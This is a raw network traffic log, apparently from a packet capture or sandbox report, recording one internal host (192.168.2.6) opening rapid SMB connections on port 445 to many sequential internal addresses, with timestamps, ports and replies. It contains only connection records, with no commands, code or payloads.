Jul 6, 2024 14:11:32.238387108 CEST	445	51747	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:32.238558054 CEST	445	51747	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:32.242228031 CEST	445	51753	192.168.1.145	192.168.2.6
Jul 6, 2024 14:11:32.242283106 CEST	51753	445	192.168.2.6	192.168.1.145
Jul 6, 2024 14:11:32.242935896 CEST	51754	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:32.242935896 CEST	51754	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:32.242947102 CEST	51755	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:32.247798920 CEST	51756	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:32.251466990 CEST	445	51752	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:32.251730919 CEST	445	51745	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:32.251753092 CEST	445	51755	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:32.251787901 CEST	51752	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:32.251877069 CEST	51752	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:32.252110004 CEST	51755	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:32.252110004 CEST	51755	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:32.253268003 CEST	445	51745	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:32.253880024 CEST	445	51756	192.168.3.48	192.168.2.6
Jul 6, 2024 14:11:32.255664110 CEST	445	51754	192.168.3.47	192.168.2.6
Jul 6, 2024 14:11:32.256525993 CEST	51756	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:32.256525993 CEST	51756	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:32.257019997 CEST	51757	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:32.257114887 CEST	51758	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:32.257816076 CEST	445	51752	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:32.258325100 CEST	445	51754	192.168.3.47	192.168.2.6
Jul 6, 2024 14:11:32.258423090 CEST	51754	445	192.168.2.6	192.168.3.47
Jul 6, 2024 14:11:32.259574890 CEST	51759	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:32.260318995 CEST	445	51752	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:32.260590076 CEST	51760	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:32.261409044 CEST	445	51755	192.168.1.146	192.168.2.6
Jul 6, 2024 14:11:32.261486053 CEST	51755	445	192.168.2.6	192.168.1.146
Jul 6, 2024 14:11:32.263149977 CEST	445	51758	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:32.264125109 CEST	445	51756	192.168.3.48	192.168.2.6
Jul 6, 2024 14:11:32.264363050 CEST	51756	445	192.168.2.6	192.168.3.48
Jul 6, 2024 14:11:32.265579939 CEST	51758	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:32.265579939 CEST	51758	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:32.265597105 CEST	445	51759	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:32.265659094 CEST	51759	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:32.265757084 CEST	51759	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:32.266109943 CEST	445	51757	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:32.267302990 CEST	51757	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:32.267302990 CEST	51757	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:32.269727945 CEST	445	51760	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:32.270096064 CEST	51760	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:32.270096064 CEST	51760	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:32.270706892 CEST	445	51758	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:32.273806095 CEST	51761	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:32.274287939 CEST	51762	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:32.274626970 CEST	51763	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:32.275563002 CEST	445	51757	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:32.275852919 CEST	445	51759	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:32.288642883 CEST	51764	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:32.290016890 CEST	51765	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:32.290386915 CEST	51766	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:32.299093008 CEST	445	51761	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:32.299102068 CEST	445	51762	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:32.299109936 CEST	445	51763	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:32.299179077 CEST	51762	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:32.299199104 CEST	51763	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:32.299272060 CEST	51761	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:32.299272060 CEST	51761	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:32.299408913 CEST	51763	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:32.299464941 CEST	51762	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:32.299515009 CEST	445	51760	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:32.304277897 CEST	51767	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:32.304301023 CEST	51768	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:32.305445910 CEST	51769	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:32.305753946 CEST	51770	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:32.306658030 CEST	445	51764	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:32.306731939 CEST	51764	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:32.306798935 CEST	51764	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:32.306910992 CEST	445	51765	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:32.306921005 CEST	445	51766	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:32.306977987 CEST	51765	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:32.307049036 CEST	51766	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:32.307784081 CEST	445	51761	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:32.308557987 CEST	51765	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:32.309961081 CEST	51766	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:32.314611912 CEST	445	51762	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:32.314621925 CEST	445	51763	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:32.315381050 CEST	445	51767	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:32.315390110 CEST	445	51768	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:32.315398932 CEST	445	51769	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:32.315407991 CEST	445	51770	192.168.3.52	192.168.2.6
Jul 6, 2024 14:11:32.315418959 CEST	445	51764	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:32.315447092 CEST	51767	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:32.315491915 CEST	51768	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:32.315491915 CEST	51770	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:32.315506935 CEST	51769	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:32.315526009 CEST	51768	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:32.315633059 CEST	51767	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:32.315726995 CEST	51769	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:32.318351030 CEST	445	51759	192.168.1.147	192.168.2.6
Jul 6, 2024 14:11:32.318408012 CEST	51759	445	192.168.2.6	192.168.1.147
Jul 6, 2024 14:11:32.319276094 CEST	51770	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:32.320718050 CEST	51771	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:32.321564913 CEST	51772	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:32.321929932 CEST	445	51757	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:32.321938992 CEST	445	51760	192.168.3.49	192.168.2.6
Jul 6, 2024 14:11:32.321991920 CEST	51760	445	192.168.2.6	192.168.3.49
Jul 6, 2024 14:11:32.322139978 CEST	445	51762	192.168.1.148	192.168.2.6
Jul 6, 2024 14:11:32.322149038 CEST	445	51763	192.168.3.50	192.168.2.6
Jul 6, 2024 14:11:32.322185993 CEST	445	51761	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:32.322191000 CEST	51762	445	192.168.2.6	192.168.1.148
Jul 6, 2024 14:11:32.322210073 CEST	51763	445	192.168.2.6	192.168.3.50
Jul 6, 2024 14:11:32.322272062 CEST	445	51764	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:32.322289944 CEST	445	51766	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:32.324038982 CEST	445	51765	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:32.324045897 CEST	445	51765	192.168.1.149	192.168.2.6
Jul 6, 2024 14:11:32.324142933 CEST	51765	445	192.168.2.6	192.168.1.149
Jul 6, 2024 14:11:32.324189901 CEST	51766	445	192.168.2.6	192.168.3.51
Jul 6, 2024 14:11:32.325189114 CEST	445	51766	192.168.3.51	192.168.2.6
Jul 6, 2024 14:11:32.328625917 CEST	445	51768	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:32.328639984 CEST	445	51767	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:32.329893112 CEST	445	51767	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:32.330069065 CEST	445	51768	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:32.330080986 CEST	445	51771	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:32.330099106 CEST	445	51772	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:32.330203056 CEST	51771	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:32.330377102 CEST	51772	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:32.330676079 CEST	445	51769	192.168.1.150	192.168.2.6
Jul 6, 2024 14:11:32.330755949 CEST	445	51770	192.168.3.52	192.168.2.6
Jul 6, 2024 14:11:32.330797911 CEST	51771	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:32.330797911 CEST	51769	445	192.168.2.6	192.168.1.150
Jul 6, 2024 14:11:32.332410097 CEST	51770	445	192.168.2.6	192.168.3.52
Jul 6, 2024 14:11:32.335160971 CEST	51774	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:32.335984945 CEST	51773	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:32.336527109 CEST	51776	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:32.339749098 CEST	445	51771	192.168.1.151	192.168.2.6
Jul 6, 2024 14:11:32.339803934 CEST	51771	445	192.168.2.6	192.168.1.151
Jul 6, 2024 14:11:32.341620922 CEST	51772	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:32.341620922 CEST	51775	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:32.347229004 CEST	445	51774	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:32.348460913 CEST	445	51773	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:32.349262953 CEST	445	51776	192.168.3.54	192.168.2.6
Jul 6, 2024 14:11:32.349327087 CEST	51776	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:32.349934101 CEST	445	51772	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:32.350332975 CEST	51774	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:32.350332975 CEST	51774	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:32.350703955 CEST	51776	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:32.352158070 CEST	51777	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:32.352216005 CEST	51778	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:32.353446960 CEST	51772	445	192.168.2.6	192.168.3.53
Jul 6, 2024 14:11:32.355873108 CEST	51773	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:32.355873108 CEST	51773	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:32.365339994 CEST	445	51772	192.168.3.53	192.168.2.6
Jul 6, 2024 14:11:32.365941048 CEST	445	51775	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:32.366085052 CEST	51775	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:32.366161108 CEST	445	51774	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:32.368149996 CEST	445	51776	192.168.3.54	192.168.2.6
Jul 6, 2024 14:11:32.368170977 CEST	445	51774	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:32.368221045 CEST	51776	445	192.168.2.6	192.168.3.54
Jul 6, 2024 14:11:32.368290901 CEST	445	51777	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:32.368433952 CEST	445	51778	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:32.368432999 CEST	51782	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:32.368503094 CEST	51778	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:32.368503094 CEST	51777	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:32.368588924 CEST	51777	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:32.368705034 CEST	51778	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:32.371068954 CEST	51781	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:32.372467995 CEST	445	51773	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:32.374181032 CEST	445	51773	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:32.376058102 CEST	51775	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:32.376058102 CEST	51779	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:32.376058102 CEST	51780	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:32.382261992 CEST	51783	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:32.382455111 CEST	51784	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:32.383296967 CEST	51785	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:32.383383989 CEST	51786	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:32.383553982 CEST	445	51737	192.168.3.42	192.168.2.6
Jul 6, 2024 14:11:32.386261940 CEST	51737	445	192.168.2.6	192.168.3.42
Jul 6, 2024 14:11:32.398638010 CEST	51787	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:32.398683071 CEST	51788	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:32.405719995 CEST	445	51777	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:32.406371117 CEST	445	51782	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:32.406451941 CEST	51782	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:32.406538010 CEST	51782	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:32.406986952 CEST	445	51778	192.168.1.153	192.168.2.6
Jul 6, 2024 14:11:32.407136917 CEST	445	51777	192.168.3.55	192.168.2.6
Jul 6, 2024 14:11:32.407166958 CEST	445	51781	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:32.407233000 CEST	51778	445	192.168.2.6	192.168.1.153
Jul 6, 2024 14:11:32.407233000 CEST	51777	445	192.168.2.6	192.168.3.55
Jul 6, 2024 14:11:32.407651901 CEST	51781	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:32.407651901 CEST	51781	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:32.414448977 CEST	51789	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:32.414611101 CEST	51790	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:32.425625086 CEST	445	51779	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:32.425635099 CEST	445	51780	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:32.425738096 CEST	51779	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:32.425738096 CEST	51780	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:32.425834894 CEST	51779	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:32.426156998 CEST	445	51783	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:32.426167965 CEST	445	51784	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:32.426177025 CEST	445	51785	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:32.426186085 CEST	445	51786	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:32.426237106 CEST	445	51787	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:32.426245928 CEST	445	51788	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:32.426275015 CEST	51785	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:32.426301003 CEST	51786	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:32.426314116 CEST	51788	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:32.426548004 CEST	51788	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:32.427051067 CEST	51784	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:32.427051067 CEST	51784	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:32.427074909 CEST	445	51789	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:32.427083969 CEST	445	51790	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:32.427237034 CEST	445	51781	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:32.427246094 CEST	445	51782	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:32.427289009 CEST	445	51775	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:32.427598953 CEST	51787	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:32.427598953 CEST	51787	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:32.427966118 CEST	51783	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:32.427966118 CEST	51783	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:32.428688049 CEST	51790	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:32.428688049 CEST	51790	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:32.431408882 CEST	51792	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:32.431408882 CEST	51793	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:32.432970047 CEST	51789	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:32.432970047 CEST	51789	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:32.432970047 CEST	51785	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:32.432970047 CEST	51791	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:32.432970047 CEST	51794	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:32.433284998 CEST	51786	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:32.434050083 CEST	51795	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:32.438272953 CEST	445	51779	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:32.438288927 CEST	445	51784	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:32.438308001 CEST	445	51775	192.168.1.152	192.168.2.6
Jul 6, 2024 14:11:32.440701962 CEST	51779	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:32.440701962 CEST	51775	445	192.168.2.6	192.168.1.152
Jul 6, 2024 14:11:32.441297054 CEST	445	51791	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:32.441490889 CEST	445	51794	192.168.3.60	192.168.2.6
Jul 6, 2024 14:11:32.441579103 CEST	51791	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:32.441682100 CEST	51794	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:32.441683054 CEST	51794	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:32.441713095 CEST	51791	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:32.441831112 CEST	445	51786	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:32.442001104 CEST	445	51785	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:32.442013025 CEST	445	51789	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:32.442022085 CEST	445	51787	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:32.442042112 CEST	445	51788	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:32.443111897 CEST	445	51782	192.168.1.154	192.168.2.6
Jul 6, 2024 14:11:32.443267107 CEST	445	51781	192.168.3.56	192.168.2.6
Jul 6, 2024 14:11:32.443334103 CEST	51782	445	192.168.2.6	192.168.1.154
Jul 6, 2024 14:11:32.443772078 CEST	445	51779	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:32.443953991 CEST	445	51780	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:32.444009066 CEST	51781	445	192.168.2.6	192.168.3.56
Jul 6, 2024 14:11:32.444258928 CEST	445	51785	192.168.3.57	192.168.2.6
Jul 6, 2024 14:11:32.444276094 CEST	445	51786	192.168.1.155	192.168.2.6
Jul 6, 2024 14:11:32.444279909 CEST	445	51788	192.168.3.58	192.168.2.6
Jul 6, 2024 14:11:32.444303036 CEST	51785	445	192.168.2.6	192.168.3.57
Jul 6, 2024 14:11:32.444353104 CEST	51788	445	192.168.2.6	192.168.3.58
Jul 6, 2024 14:11:32.444489956 CEST	51786	445	192.168.2.6	192.168.1.155
Jul 6, 2024 14:11:32.445539951 CEST	445	51795	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:32.445705891 CEST	445	51792	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:32.445785999 CEST	51795	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:32.445856094 CEST	51792	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:32.445856094 CEST	51792	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:32.445902109 CEST	51795	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:32.446321011 CEST	51797	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:32.447837114 CEST	51796	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:32.449451923 CEST	51780	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:32.450829983 CEST	445	51787	192.168.1.156	192.168.2.6
Jul 6, 2024 14:11:32.451190948 CEST	445	51789	192.168.3.59	192.168.2.6
Jul 6, 2024 14:11:32.451209068 CEST	445	51790	192.168.1.157	192.168.2.6
Jul 6, 2024 14:11:32.451242924 CEST	51787	445	192.168.2.6	192.168.1.156
Jul 6, 2024 14:11:32.451257944 CEST	51789	445	192.168.2.6	192.168.3.59
Jul 6, 2024 14:11:32.451894045 CEST	445	51793	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:32.451946020 CEST	445	51783	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:32.451972961 CEST	445	51791	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:32.452006102 CEST	51793	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:32.452218056 CEST	51793	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:32.453403950 CEST	445	51783	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:32.453881979 CEST	445	51791	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:32.454695940 CEST	445	51794	192.168.3.60	192.168.2.6
Jul 6, 2024 14:11:32.456839085 CEST	51790	445	192.168.2.6	192.168.1.157
Jul 6, 2024 14:11:32.458158970 CEST	445	51792	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:32.458204985 CEST	51794	445	192.168.2.6	192.168.3.60
Jul 6, 2024 14:11:32.458301067 CEST	445	51779	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:32.458309889 CEST	445	51797	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:32.458812952 CEST	445	51796	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:32.463448048 CEST	51796	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:32.463448048 CEST	51796	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:32.463448048 CEST	51799	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:32.465188026 CEST	51797	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:32.465188026 CEST	51797	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:32.468305111 CEST	51798	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:32.473617077 CEST	445	51795	192.168.1.158	192.168.2.6
Jul 6, 2024 14:11:32.473628044 CEST	445	51792	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:32.473699093 CEST	51795	445	192.168.2.6	192.168.1.158
Jul 6, 2024 14:11:32.474828005 CEST	445	51793	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:32.476243019 CEST	51800	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:32.476370096 CEST	51801	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:32.476609945 CEST	51802	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:32.477514029 CEST	51803	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:32.478601933 CEST	51804	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:32.482295990 CEST	445	51793	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:32.482306004 CEST	445	51799	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:32.482386112 CEST	445	51796	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:32.482395887 CEST	51799	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:32.482574940 CEST	445	51798	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:32.482922077 CEST	51799	445	192.168.2.6	192.168.3.62
Jul 6, 2024 14:11:32.483844995 CEST	51798	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:32.483844995 CEST	51798	445	192.168.2.6	192.168.1.160
Jul 6, 2024 14:11:32.485152960 CEST	445	51800	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:32.485263109 CEST	445	51801	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:32.485274076 CEST	445	51796	192.168.3.61	192.168.2.6
Jul 6, 2024 14:11:32.485347986 CEST	51796	445	192.168.2.6	192.168.3.61
Jul 6, 2024 14:11:32.485433102 CEST	51801	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:32.485501051 CEST	51801	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:32.485565901 CEST	445	51797	192.168.1.159	192.168.2.6
Jul 6, 2024 14:11:32.485970974 CEST	445	51802	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:32.486028910 CEST	51802	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:32.486072063 CEST	51802	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:32.486885071 CEST	445	51803	192.168.1.161	192.168.2.6
Jul 6, 2024 14:11:32.487164974 CEST	445	51804	192.168.3.63	192.168.2.6
Jul 6, 2024 14:11:32.487281084 CEST	51804	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:32.487416029 CEST	51804	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:32.487555981 CEST	51797	445	192.168.2.6	192.168.1.159
Jul 6, 2024 14:11:32.489028931 CEST	51800	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:32.489028931 CEST	51800	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:32.491188049 CEST	445	51799	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:32.491691113 CEST	445	51799	192.168.3.62	192.168.2.6
Jul 6, 2024 14:11:32.491930962 CEST	51805	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:32.493135929 CEST	51803	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:32.493135929 CEST	51803	445	192.168.2.6	192.168.1.161
Jul 6, 2024 14:11:32.493135929 CEST	51806	445	192.168.2.6	192.168.1.162
Jul 6, 2024 14:11:32.494399071 CEST	445	51801	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:32.494555950 CEST	445	51802	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:32.494714022 CEST	445	51801	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:32.495131969 CEST	51807	445	192.168.2.6	192.168.3.64
Jul 6, 2024 14:11:32.495215893 CEST	445	51802	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:32.496222973 CEST	445	51804	192.168.3.63	192.168.2.6
Jul 6, 2024 14:11:32.496292114 CEST	51804	445	192.168.2.6	192.168.3.63
Jul 6, 2024 14:11:32.498390913 CEST	445	51798	192.168.1.160	192.168.2.6
Jul 6, 2024 14:11:32.500338078 CEST	445	51805	192.168.1.34	192.168.2.6
